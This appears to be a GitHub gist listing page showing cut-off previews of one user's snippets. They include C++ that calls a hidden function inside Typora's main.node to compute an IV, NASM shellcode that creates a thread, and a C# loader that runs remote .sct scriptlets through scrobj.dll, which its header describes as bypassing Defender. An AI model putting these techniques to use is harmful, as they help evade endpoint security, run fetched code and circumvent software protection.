Skip to content

Instantly share code, notes, and snippets.

@0xlane
0xlane / calc_typora_iv.cpp
Created January 15, 2025 03:32
Calculate typora IV by calling main.node.
#include <windows.h>
#include <iostream>
#include <iomanip>
typedef int64_t(*FunctionPtr)(int64_t* array, int64_t p2, int64_t p3);
int main() {
HMODULE hModule = LoadLibrary(L"./main.node");
DWORD_PTR baseAddress = (DWORD_PTR)hModule;
DWORD_PTR functionOffset = 0x1992;
DWORD_PTR functionAddress = baseAddress + functionOffset;
FunctionPtr func = (FunctionPtr)functionAddress;
@0xlane
0xlane / shellcode_calc_create_thread.asm
Last active October 25, 2024 11:18
nasm -f win64 shellcode_create_thread.asm -o shellcode_create_thread.obj
section .text
global _start
_start:
; 保存堆栈状态
sub rsp, 0x8
push rbp
mov rbp, rsp
push rax
push rcx
@0xlane
0xlane / scrobj-call-csharp.cs
Created October 12, 2020 14:59
Call scrobj.dll in .net env without regsvr32
/*
* Author: REInject
* Usage: scrobj-call-csharp.exe http://127.0.0.1/test.sct
* Link: https://scriptboy.cn/p/using-scrobj-without-regsvr32-bypass-defender/
*/
using System;
using System.Runtime.InteropServices;
using System.ComponentModel;
// ==UserScript==
// @name QT-显示隐藏的前端模块
// @name:zh QT-显示隐藏的前端模块
// @name:zh-CN QT-显示隐藏的前端模块
// @name:en QT-ShowHiddendFrontendModule
// @namespace http:///
// @version 0.3
// @license GPL-3.0-only
// @create 2020-03-18
// @description This is a simple thing!
<script>
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest()
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for (var n = 0; n < MSXML.length; n++) {
try {
xmlHttp = new ActiveXObject(MSXML[n]);